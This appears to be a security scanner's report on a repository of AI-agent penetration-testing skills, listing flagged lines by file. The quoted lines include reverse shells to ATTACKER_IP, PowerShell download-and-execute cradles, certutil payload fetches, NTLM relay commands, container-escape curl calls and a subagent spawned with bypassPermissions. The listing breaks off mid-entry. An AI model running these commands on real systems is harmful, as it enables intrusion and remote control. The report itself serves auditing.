    sudo krbrelayx.py --target http://CA/certsrv \
  • Network accessline 400
    sudo krbrelayx.py --target http://CA/certsrv \
  • Dangerous shell operationline 404
    sudo mitm6 --domain DOMAIN --host-allowlist DC.DOMAIN.LOCAL \
  • Network accessline 438
    |--------|-------------|-------------| | Protocol | HTTP/HTTPS | RPC (port 135) | | Relay target | `http://CA/certsrv/certfnsh.asp` | `rpc://CA` |
  • Network accessline 439
    | Protocol | HTTP/HTTPS | RPC (port 135) | | Relay target | `http://CA/certsrv/certfnsh.asp` | `rpc://CA` | | Mitigation | EPA on IIS, channel binding | `IF_ENFORCEENCRYPTICERTREQUEST` flag |
  • Network accessline 440
    | Relay target | `http://CA/certsrv/certfnsh.asp` | `rpc://CA` |
  • Dangerous shell operationline 477
    sudo ntpdate DC_IP
  • Dangerous shell operationline 479
    sudo rdate -n DC_IP

skills/ad/adcs-persistence/SKILL.md

  • Dangerous shell operationline 601
    sudo ntpdate DC_IP
  • Dangerous shell operationline 603
    sudo rdate -n DC_IP

skills/ad/auth-coercion-relay/SKILL.md

  • Network accessline 222
    | LDAP (389) | `TCP-LISTEN:10389 → TARGET:389` | `ldap://127.0.0.1:10389` | | LDAPS (636) | `TCP-LISTEN:10636 → TARGET:636` | `ldaps://127.0.0.1:10636` | | ADCS (80) | `TCP-LISTEN:10080 → CA:80` | `http://127.0.0.1:10080/certsrv/certfnsh.as
  • Network accessline 224
    | ADCS (80) | `TCP-LISTEN:10080 → CA:80` | `http://127.0.0.1:10080/certsrv/certfnsh.asp` |
  • Network accessline 320
    **Requirements:** - Domain user credentials (default AD permissions allow creating DNS records) - `dnstool.py` from the [krbrelayx](https://github.com/dirkjanm/krbrelayx)
  • Network accessline 321
    - Domain user credentials (default AD permissions allow creating DNS records) - `dnstool.py` from the [krbrelayx](https://github.com/dirkjanm/krbrelayx)   toolkit (handles AD DNS binary format correctly)
  • Network accessline 322
    - `dnstool.py` from the [krbrelayx](https://github.com/dirkjanm/krbrelayx)
  • Network accessline 352
    git clone https://github.com/dirkjanm/krbrelayx.git /tmp/krbrelayx
  • Dangerous shell operationline 381
    sudo responder -I tun0 -v
  • Dangerous shell operationline 384
    sudo responder -I tun0 -v
  • Dangerous shell operationline 468
    sudo ntlmrelayx.py -tf relay-targets.txt -smb2support
  • Dangerous shell operationline 471
    sudo ntlmrelayx.py -tf relay-targets.txt -smb2support \
  • Dangerous shell operationline 475
    sudo ntlmrelayx.py -tf relay-targets.txt -smb2support -socks
  • Dangerous shell operationline 488
    sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --add-computer \
  • Dangerous shell operationline 492
    sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --delegate-access \
  • Dangerous shell operationline 496
    sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL \
  • Network accessline 514
    # ntlmrelayx to AD CS sudo ntlmrelayx.py -t http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  • Dangerous shell operationline 515
    sudo ntlmrelayx.py -t http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  • Network accessline 515
    sudo ntlmrelayx.py -t http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  • Network accessline 518
    # certipy relay certipy relay -target http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  • Network accessline 519
    certipy relay -target http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  • Dangerous shell operationline 538
    sudo ntlmrelayx.py -t mssql://SQL.DOMAIN.LOCAL -smb2support \
  • Dangerous shell operationline 542
    sudo ntlmrelayx.py -t mssql://SQL.DOMAIN.LOCAL -smb2support -socks
  • Network accessline 558
    # Start krbrelayx targeting AD CS HTTP enrollment sudo python3 krbrelayx.py \   --target 'http://CA.DOMAIN.LOCAL/certsrv/' \
  • Dangerous shell operationline 559
    sudo python3 krbrelayx.py \
  • Network accessline 559
    sudo python3 krbrelayx.py    --target 'http://CA.DOMAIN.LOCAL/certsrv/'
  • Network accessline 560
    --target 'http://CA.DOMAIN.LOCAL/certsrv/' \
  • Network accessline 567
    # Start krbrelayx sudo krbrelayx.py \   --target http://CA.DOMAIN.LOCAL/certsrv/ \
  • Dangerous shell operationline 568
    sudo krbrelayx.py \
  • Network accessline 568
    sudo krbrelayx.py    --target http://CA.DOMAIN.LOCAL/certsrv/
  • Network accessline 569
    --target http://CA.DOMAIN.LOCAL/certsrv/ \
  • Dangerous shell operationline 574
    sudo mitm6 --domain DOMAIN.LOCAL \
  • Network accessline 596
    > (if signing not required — rare), and other HTTP services. Never LDAP. > > Ref: [Synacktiv — Relaying Kerberos over SMB](https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx)
  • Network accessline 598
    > Ref: [Synacktiv — Relaying Kerberos over SMB](https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx)
  • Dangerous shell operationline 633
    sudo responder -I eth0 -wfrd -P -v
  • Dangerous shell operationline 645
    sudo responder -I eth0 --lm --disable-ess
  • Dangerous shell operationline 655
    sudo responder -I eth0 -v
  • Dangerous shell operationline 678
    sudo responder -I eth0 -wfrd -P -v
  • Dangerous shell operationline 681
    sudo responder -I eth0 -A
  • Dangerous shell operationline 690
    sudo mitm6 -i eth0 -d DOMAIN.LOCAL
  • Dangerous shell operationline 693
    sudo ntlmrelayx.py -6 -wh ATTACKER_IP \
  • Dangerous shell operationline 720
    sudo ntlmrelayx.py --remove-mic --escalate-user attacker \
  • Dangerous shell operationline 724
    sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --remove-mic \
  • Dangerous shell operationline 733
    sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL \
  • Network accessline 789
    (confirmed via `ss -tlnp | grep :445`) and coercion reports success, the problem is outbound from the target. Running tcpdump, iptables checks, nftables dumps, or netcat tests on the attackbox will not help.
  • Network accessline 791
    checks, nftables dumps, or netcat tests on the attackbox will not help.
  • Dangerous shell operationline 867
    sudo ntpdate DC_IP
  • Dangerous shell operationline 869
    sudo rdate -n DC_IP

skills/ad/credential-dumping/SKILL.md

  • Access to secretsline 718
    [Credential-related source omitted]
  • Dangerous shell operationline 798
    requires root: `sudo ntpdate DC_IP`

skills/ad/gpo-abuse/SKILL.md

  • Network accessline 95
    # Dump and analyze all GPOs pipx install "git+https://github.com/cogiceo/GPOHound"
  • Network accessline 96
    pipx install "git+https://github.com/cogiceo/GPOHound"
  • Network accessline 187
    python3 pygpoabuse.py DOMAIN/user -hashes lm:nt    -gpo-id "{GPO_GUID}"    -powershell    -command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
  • Network accessline 188
    -gpo-id "{GPO_GUID}" \   -powershell \   -command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  • Network accessline 189
    -powershell \   -command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \   -taskname "SystemUpdate" -description "System maintenance"
  • Network accessline 190
    -command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  • Network accessline 229
    . .\PowerGPOAbuse.ps1 Add-ComputerScript -ScriptName 'update.ps1' \   -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
  • Network accessline 230
    Add-ComputerScript -ScriptName 'update.ps1'    -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")'
  • Network accessline 231
    -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
  • Network accessline 234
    Add-UserScript -ScriptName 'login.ps1' \   -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
  • Network accessline 235
    -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
  • Network accessline 348
    # Prepend to existing logon script IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
  • Network accessline 349
    IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
  • Dangerous shell operationline 499
    sudo ntpdate DC_IP
  • Dangerous shell operationline 501
    sudo rdate -n DC_IP

skills/ad/kerberos-delegation/SKILL.md

  • Dangerous shell operationline 466
    sudo ntpdate DC_IP
  • Dangerous shell operationline 468
    sudo rdate -n DC_IP

skills/ad/kerberos-roasting/SKILL.md

  • Dangerous shell operationline 363
    sudo timeroast.py DC_IP | tee ntp-hashes.txt
  • Dangerous shell operationline 395
    sudo ntpdate DC_IP
  • Dangerous shell operationline 397
    sudo rdate -n DC_IP

skills/ad/kerberos-ticket-forging/SKILL.md

  • Dangerous shell operationline 433
    sudo ntpdate DC_IP
  • Dangerous shell operationline 435
    sudo rdate -n DC_IP

skills/ad/pass-the-hash/SKILL.md

  • Dangerous shell operationline 447
    sudo ntpdate DC_IP
  • Dangerous shell operationline 449
    sudo rdate -n DC_IP

skills/ad/sccm-exploitation/SKILL.md

  • Network accessline 131
    # Retrieve site signing cert + Unknown Computer GUIDs curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
  • Network accessline 132
    curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
  • Network accessline 134
    # List all management points curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format -
  • Network accessline 135
    curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format -
  • Network accessline 137
    # Get site signing certificate curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -
  • Network accessline 138
    curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -
  • Dangerous shell operationline 333
    sudo python3 pxethiefy.py explore -i eth0
  • Dangerous shell operationline 500
    sudo ntpdate DC_IP
  • Dangerous shell operationline 502
    sudo rdate -n DC_IP

skills/ad/trust-attacks/SKILL.md

  • Dangerous shell operationline 471
    NTLM. Fix requires root: `sudo ntpdate TARGET_DC`

skills/credential/password-spraying/SKILL.md

  • Network accessline 296
    # Known-bad baseline    curl -s -o /dev/null -w '%{http_code} %{size_download}' \
  • Network accessline 297
    curl -s -o /dev/null -w '%{http_code} %{size_download}' \
  • Network accessline 298
    -X POST http://TARGET/login -d 'user=INVALID&pass=INVALID'    # Known-good baseline    curl -s -o /dev/null -w '%{http_code} %{size_download}' \
  • Network accessline 300
    curl -s -o /dev/null -w '%{http_code} %{size_download}' \
  • Network accessline 301
    -X POST http://TARGET/login -d 'user=TESTUSER&pass=TESTPASS'
  • Network accessline 663
    # Re-test with curl (HTTP login) — compare response to known-bad baseline
  • Network accessline 664
    curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}' \
  • Network accessline 665
    -X POST http://TARGET/login -d 'user=HITUSER&pass=HITPASS'
  • Dangerous shell operationline 752
    sudo ntpdate DC_IP
  • Dangerous shell operationline 754
    sudo rdate -n DC_IP

skills/ctf/SKILL.md

  • Network accessline 89
    forbidden (route to teammates):   nmap, netexec, ffuf, nuclei, httpx, sqlmap, curl (to targets),
  • Network accessline 90
    nmap, netexec, ffuf, nuclei, httpx, sqlmap, curl (to targets),
  • Dangerous shell operationline 125
    - Delete → Bash: rm -rf ~/.claude/teams/red-run/ ~/.claude/tasks/red-run/
  • Dangerous shell operationline 132
    4. Wipe stale inboxes: Bash: rm -rf ~/.claude/teams/<TEAM_NAME>/inboxes/*.json
  • Network accessline 552
    in a separate terminal:   bash operator/state-viewer/start.sh Then open http://127.0.0.1:8099 to see the access chain graph, targets,
  • Network accessline 553
    bash operator/state-viewer/start.sh Then open http://127.0.0.1:8099 to see the access chain graph, targets, credentials, and assessment progress update live as teammates work.
  • Network accessline 554
    Then open http://127.0.0.1:8099 to see the access chain graph, targets,
  • Dangerous shell operationline 702
    **Do NOT run enumeration commands from the lead** (no sudo -l, find -perm,
  • Dangerous shell operationline 860
    5. Present: "Run: sudo bash ./temp_hosts-update.sh"
  • Dangerous shell operationline 897
    4. Present: "Run: sudo bash ./temp_clock-sync.sh &"
  • Dangerous shell operationline 901
    7. Clean up: rm temp_clock-sync.sh

skills/evasion/av-edr-evasion/SKILL.md

  • Network accessline 85
    2. **Review** — operator can inspect the C/Go source in this skill 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file`
  • Network accessline 86
    3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file`    or `curl`, `certutil`, evil-winrm `upload`, SMB transfer
  • Network accessline 87
    4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file`
  • Network accessline 182
    cmd.exe /c certutil -urlcache -split -f http://ATTACKBOX:8080/nc.exe C:\\Windows\\Temp\\nc.exe && C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKBOX PORT
  • Network accessline 318
    // Download second stage from attackbox     URLDownloadToFileA(NULL,         "http://ATTACKBOX:8080/nc.exe",
  • Network accessline 319
    URLDownloadToFileA(NULL,         "http://ATTACKBOX:8080/nc.exe",         "C:\\Windows\\Temp\\svc.exe",
  • Network accessline 320
    "http://ATTACKBOX:8080/nc.exe",
  • Network accessline 406
    "amsiutils" # Or try loading a tool that was previously blocked IEX (New-Object Net.WebClient).DownloadString('http://ATTACKBOX:8080/tool.ps1')
  • Network accessline 408
    IEX (New-Object Net.WebClient).DownloadString('http://ATTACKBOX:8080/tool.ps1')
  • Network accessline 423
    <!-- payload.csproj — save to target, execute with: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj --> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  • Network accessline 424
    <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  • Network accessline 466
    # Download via certutil (base64 encode first on attackbox) certutil -urlcache -split -f http://ATTACKBOX:8080/payload.exe C:\Windows\Temp\payload.exe
  • Network accessline 467
    certutil -urlcache -split -f http://ATTACKBOX:8080/payload.exe C:\Windows\Temp\payload.exe
  • Dangerous shell operationline 593
    sudo apt install mingw-w64

skills/legacy/SKILL.md

  • Network accessline 195
    For live agent monitoring, use [agentsee](https://github.com/blacklanternsecurity/agentsee).
  • Network accessline 205
    content inspection. PHP short tags also blocked. The skill's full bypass   methodology has not been tested yet."* - **ALSO RIGHT:** *"Web proxy: http://127.0.0.1:8080. Route all
  • Network accessline 206
    methodology has not been tested yet."* - **ALSO RIGHT:** *"Web proxy: http://127.0.0.1:8080. Route all   attackbox-originated HTTP(S) traffic for this skill through that listener,
  • Network accessline 207
    - **ALSO RIGHT:** *"Web proxy: http://127.0.0.1:8080. Route all
  • Network accessline 528
    Parsing rules: - If **Burp on 127.0.0.1:8080** is selected, use `http://127.0.0.1:8080`
  • Network accessline 529
    - If **Burp on 127.0.0.1:8080** is selected, use `http://127.0.0.1:8080`
  • Network accessline 709
    subagent_type="web-discovery-agent",     mode="bypassPermissions",     prompt="Load skill 'web-discovery'. Target: <URL>. Tech stack: <from recon>. Web proxy: <http://IP:PORT or 'disabled by operator'>. Source engagement/web-proxy.sh before
  • Network accessline 710
    mode="bypassPermissions",     prompt="Load skill 'web-discovery'. Target: <URL>. Tech stack: <from recon>. Web proxy: <http://IP:PORT or 'disabled by operator'>. Source engagement/web-proxy.sh before every Bash-driven HTTP(S) command. If a
  • Network accessline 711
    prompt="Load skill 'web-discovery'. Target: <URL>. Tech stack: <from recon>. Web proxy: <http://IP:PORT or 'disabled by operator'>. Source engagement/web-proxy.sh before every Bash-driven HTTP(S) command. If a proxy is configured, route all
  • Network accessline 778
    STOP. Spawn **web-discovery-agent** with skill `web-discovery`. Pass: target URL, technology stack, any credentials, and the web proxy decision from `engagement/web-proxy.json` (`http://IP:PORT` or "disabled by operator"), and
  • Network accessline 779
    URL, technology stack, any credentials, and the web proxy decision from `engagement/web-proxy.json` (`http://IP:PORT` or "disabled by operator"), and tell the agent to source `engagement/web-proxy.sh` before Bash-driven HTTP(S)
  • Network accessline 780
    `engagement/web-proxy.json` (`http://IP:PORT` or "disabled by operator"), and tell the agent to source `engagement/web-proxy.sh` before Bash-driven HTTP(S) commands. Do not execute ffuf, httpx, or nuclei commands inline.
  • Network accessline 839
    > 1. Call `start_listener(port=<port>)` to prepare a catcher on the attackbox > 2. Send a reverse shell payload through the current access method: >    - Linux: `bash -i >& /dev/tcp/ATTACKER/PORT 0>&1`, python, or nc
  • Network accessline 840
    > 2. Send a reverse shell payload through the current access method: >    - Linux: `bash -i >& /dev/tcp/ATTACKER/PORT 0>&1`, python, or nc >    - Windows: PowerShell reverse shell, nc.exe, or `nishang/Invoke-PowerShellTcp.ps1`
  • Dangerous shell operationline 841
    >    - Linux: `bash -i >& /dev/tcp/ATTACKER/PORT 0>&1`, python, or nc
  • Network accessline 841
    >    - Linux: `bash -i >& /dev/tcp/ATTACKER/PORT 0>&1`, python, or nc
  • Dangerous shell operationline 1244
    2. Present: "Clock skew detected. Run `sudo bash ./temp_clock-sync.sh &` to
  • Dangerous shell operationline 1246
    3. Wait for confirmation (sudo — always a hard stop)
  • Network accessline 1358
    HTTP/HTTPS services were discovered:      - https://target1:443
  • Network accessline 1359
    - https://target1:443
  • Network accessline 1360
    - http://target2:8080
  • Network accessline 1398
    - Disabled: copy `web-proxy-disabled.sh`   - Enabled: copy `web-proxy-enabled.sh`, replace `PROXY_URL` with the     actual URL (e.g., `http://127.0.0.1:8080`)
  • Network accessline 1400
    actual URL (e.g., `http://127.0.0.1:8080`)
  • Dangerous shell operationline 1443
    Run: sudo bash ./temp_hosts-update.sh

skills/network/container-escapes/SKILL.md

  • Network accessline 33
    - amicontained   - linpeas   - curl (for API interaction)
  • Network accessline 34
    - linpeas   - curl (for API interaction)   - nsenter
  • Network accessline 35
    - curl (for API interaction)
  • Network accessline 179
    ./deepce.sh # Or from memory: curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash
  • Dangerous shell operationline 181
    curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash
  • Network accessline 181
    curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash
  • Network accessline 217
    ### Via curl (No Docker CLI)
  • Network accessline 220
    # List containers curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
  • Dangerous shell operationline 221
    curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
  • Network accessline 221
    curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
  • Network accessline 223
    # List images curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool
  • Dangerous shell operationline 224
    curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool
  • Network accessline 224
    curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool
  • Network accessline 226
    # Create privileged container with host mount curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 227
    curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 228
    -H "Content-Type: application/json" \   http://localhost/containers/create?name=pwn \   -d '{
  • Network accessline 229
    http://localhost/containers/create?name=pwn \
  • Network accessline 246
    # Start the container (use the ID from create response) curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 247
    curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 248
    http://localhost/containers/pwn/start
  • Network accessline 250
    # Exec into the container curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 251
    curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 252
    -H "Content-Type: application/json" \   http://localhost/containers/pwn/exec \   -d '{
  • Network accessline 253
    http://localhost/containers/pwn/exec \
  • Network accessline 355
    cat /etc/shadow > /tmp/host_shadow.txt # Reverse shell variant: # bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
  • Network accessline 356
    # Reverse shell variant: # bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' ESCAPE
  • Dangerous shell operationline 357
    # bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
  • Network accessline 357
    # bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
  • Network accessline 383
    static int __init reverse_shell_init(void) {     char *argv[] = {"/bin/bash", "-c",         "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};
  • Network accessline 384
    char *argv[] = {"/bin/bash", "-c",         "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};     char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};
  • Dangerous shell operationline 385
    "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};
  • Network accessline 385
    "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};
  • Network accessline 427
    cat > /payload.sh <<'EOF' #!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 428
    #!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 EOF
  • Dangerous shell operationline 429
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 429
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 461
    # Create payload echo -e '#!/bin/sh\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /payload.sh
  • Dangerous shell operationline 462
    echo -e '#!/bin/sh\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /payload.sh
  • Network accessline 462
    echo -e '#!/bin/sh\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /payload.sh
  • Possible obfuscationline 466
    echo -ne '\xff\xff\xff\xff' > /tmp/trigger
  • Network accessline 531
    # Shocker exploit (uses open_by_handle_at syscall) # Compile and run: # https://github.com/gabber12/shocker/blob/master/shocker.c
  • Network accessline 532
    # Compile and run: # https://github.com/gabber12/shocker/blob/master/shocker.c ./shocker /etc/shadow
  • Network accessline 533
    # https://github.com/gabber12/shocker/blob/master/shocker.c
  • Network accessline 561
    # Check for open Docker API curl -s http://TARGET:2375/version | python3 -m json.tool
  • Dangerous shell operationline 562
    curl -s http://TARGET:2375/version | python3 -m json.tool
  • Network accessline 562
    curl -s http://TARGET:2375/version | python3 -m json.tool
  • Dangerous shell operationline 563
    curl -s http://TARGET:2375/containers/json | python3 -m json.tool
  • Network accessline 563
    curl -s http://TARGET:2375/containers/json | python3 -m json.tool
  • Network accessline 565
    # List images curl -s http://TARGET:2375/images/json | python3 -m json.tool
  • Dangerous shell operationline 566
    curl -s http://TARGET:2375/images/json | python3 -m json.tool
  • Network accessline 566
    curl -s http://TARGET:2375/images/json | python3 -m json.tool
  • Network accessline 568
    # Create and start a privileged container curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 569
    curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 570
    http://TARGET:2375/containers/create \
  • Network accessline 578
    # Start it (replace CONTAINER_ID) curl -s -X POST http://TARGET:2375/containers/CONTAINER_ID/start
  • Network accessline 579
    curl -s -X POST http://TARGET:2375/containers/CONTAINER_ID/start
  • Network accessline 581
    # Get output curl -s http://TARGET:2375/containers/CONTAINER_ID/logs?stdout=true
  • Network accessline 582
    curl -s http://TARGET:2375/containers/CONTAINER_ID/logs?stdout=true
  • Network accessline 612
    # Common addresses: 192.168.65.3, 192.168.65.7 for ip in 192.168.65.3 192.168.65.4 192.168.65.5 192.168.65.6 192.168.65.7; do   curl -s --connect-timeout 2 "http://$ip:2375/_ping" 2>/dev/null && \
  • Network accessline 613
    for ip in 192.168.65.3 192.168.65.4 192.168.65.5 192.168.65.6 192.168.65.7; do   curl -s --connect-timeout 2 "http://$ip:2375/_ping" 2>/dev/null && \     echo "DOCKER API FOUND: $ip:2375"
  • Network accessline 614
    curl -s --connect-timeout 2 "http://$ip:2375/_ping" 2>/dev/null && \
  • Network accessline 618
    # If no hit on known IPs, broader sweep for i in $(seq 1 20); do   curl -s --connect-timeout 1 "http://192.168.65.$i:2375/_ping" 2>/dev/null && \
  • Network accessline 619
    for i in $(seq 1 20); do   curl -s --connect-timeout 1 "http://192.168.65.$i:2375/_ping" 2>/dev/null && \     echo "DOCKER API FOUND: 192.168.65.$i:2375"
  • Network accessline 620
    curl -s --connect-timeout 1 "http://192.168.65.$i:2375/_ping" 2>/dev/null && \
  • Network accessline 631
    DOCKER_API="http://192.168.65.7:2375"  # Replace with discovered IP
  • Network accessline 633
    # Verify API access curl -s "$DOCKER_API/version" | python3 -m json.tool
  • Dangerous shell operationline 634
    curl -s "$DOCKER_API/version" | python3 -m json.tool
  • Network accessline 634
    curl -s "$DOCKER_API/version" | python3 -m json.tool
  • Network accessline 636
    # List available images (use an existing one — no internet pull needed) curl -s "$DOCKER_API/images/json" | python3 -c "
  • Dangerous shell operationline 637
    curl -s "$DOCKER_API/images/json" | python3 -c "
  • Network accessline 637
    curl -s "$DOCKER_API/images/json" | python3 -c "
  • Network accessline 647
    #   macOS: /mnt/host/Users/ = /Users/ IMAGE="alpine"  # Use an image from the list above curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 648
    IMAGE="alpine"  # Use an image from the list above curl -s -X POST -H "Content-Type: application/json" \   "$DOCKER_API/containers/create?name=escape" \
  • Network accessline 649
    curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 662
    # Start the container curl -s -X POST "$DOCKER_API/containers/escape/start"
  • Network accessline 663
    curl -s -X POST "$DOCKER_API/containers/escape/start"
  • Network accessline 667
    # macOS host files: /host/mnt/host/Users/... # VM root files: /host/etc/shadow, /host/root/... EXEC_ID=$(curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 668
    # VM root files: /host/etc/shadow, /host/root/... EXEC_ID=$(curl -s -X POST -H "Content-Type: application/json" \   "$DOCKER_API/containers/escape/exec" \
  • Dangerous shell operationline 669
    EXEC_ID=$(curl -s -X POST -H "Content-Type: application/json"    "$DOCKER_API/containers/escape/exec"    -d '{"Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"AttachStdout":true}' |    python3 -c "import sys,json; prin
  • Network accessline 669
    EXEC_ID=$(curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 671
    -d '{"Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"AttachStdout":true}' | \   python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])") curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 672
    python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])") curl -s -X POST -H "Content-Type: application/json" \   "$DOCKER_API/exec/$EXEC_ID/start" -d '{"Detach":false}'
  • Network accessline 673
    curl -s -X POST -H "Content-Type: application/json" \
  • Network accessline 676
    # Cleanup curl -s -X POST "$DOCKER_API/containers/escape/stop"
  • Network accessline 677
    curl -s -X POST "$DOCKER_API/containers/escape/stop"
  • Network accessline 678
    curl -s -X DELETE "$DOCKER_API/containers/escape"
  • Network accessline 701
    NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
  • Network accessline 703
    APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
  • Network accessline 705
    [Credential-related source omitted]
  • Network accessline 706
    [Credential-related source omitted]
  • Network accessline 708
    [Credential-related source omitted]
  • Network accessline 709
    [Credential-related source omitted]
  • Network accessline 721
    [Credential-related source omitted]
  • Network accessline 722
    [Credential-related source omitted]
  • Network accessline 725
    [Credential-related source omitted]
  • Network accessline 726
    [Credential-related source omitted]
  • Network accessline 729
    [Credential-related source omitted]
  • Network accessline 730
    [Credential-related source omitted]
  • Network accessline 733
    [Credential-related source omitted]
  • Dangerous shell operationline 734
    [Credential-related source omitted]
  • Network accessline 734
    [Credential-related source omitted]
  • Possible obfuscationline 734
    [Credential-related source omitted]
  • Possible obfuscationline 736
    python3 -c "import sys,json,base64; d=json.load(sys.stdin)['data']; [print(f'{k}: {base64.b64decode(v).decode()}') for k,v in d.items()]"
  • Network accessline 742
    [Credential-related source omitted]
  • Network accessline 743
    [Credential-related source omitted]
  • Network accessline 746
    [Credential-related source omitted]
  • Network accessline 747
    [Credential-related source omitted]
  • Network accessline 750
    [Credential-related source omitted]
  • Dangerous shell operationline 751
    [Credential-related source omitted]
  • Network accessline 751
    [Credential-related source omitted]
  • Network accessline 771
    [Credential-related source omitted]
  • Network accessline 772
    [Credential-related source omitted]
  • Network accessline 807
    [Credential-related source omitted]
  • Network accessline 808
    [Credential-related source omitted]
  • Network accessline 826
    # Check if kubelet is accessible curl -sk https://NODE_IP:10250/pods
  • Network accessline 827
    curl -sk https://NODE_IP:10250/pods
  • Network accessline 829
    # Read-only port (if enabled) curl -s http://NODE_IP:10255/pods
  • Network accessline 830
    curl -s http://NODE_IP:10255/pods
  • Network accessline 832
    # List pods on this node curl -sk https://NODE_IP:10250/pods | python3 -c "
  • Dangerous shell operationline 833
    curl -sk https://NODE_IP:10250/pods | python3 -c "
  • Network accessline 833
    curl -sk https://NODE_IP:10250/pods | python3 -c "
  • Network accessline 842
    # Execute command in a pod via kubelet curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
  • Network accessline 843
    curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
  • Network accessline 846
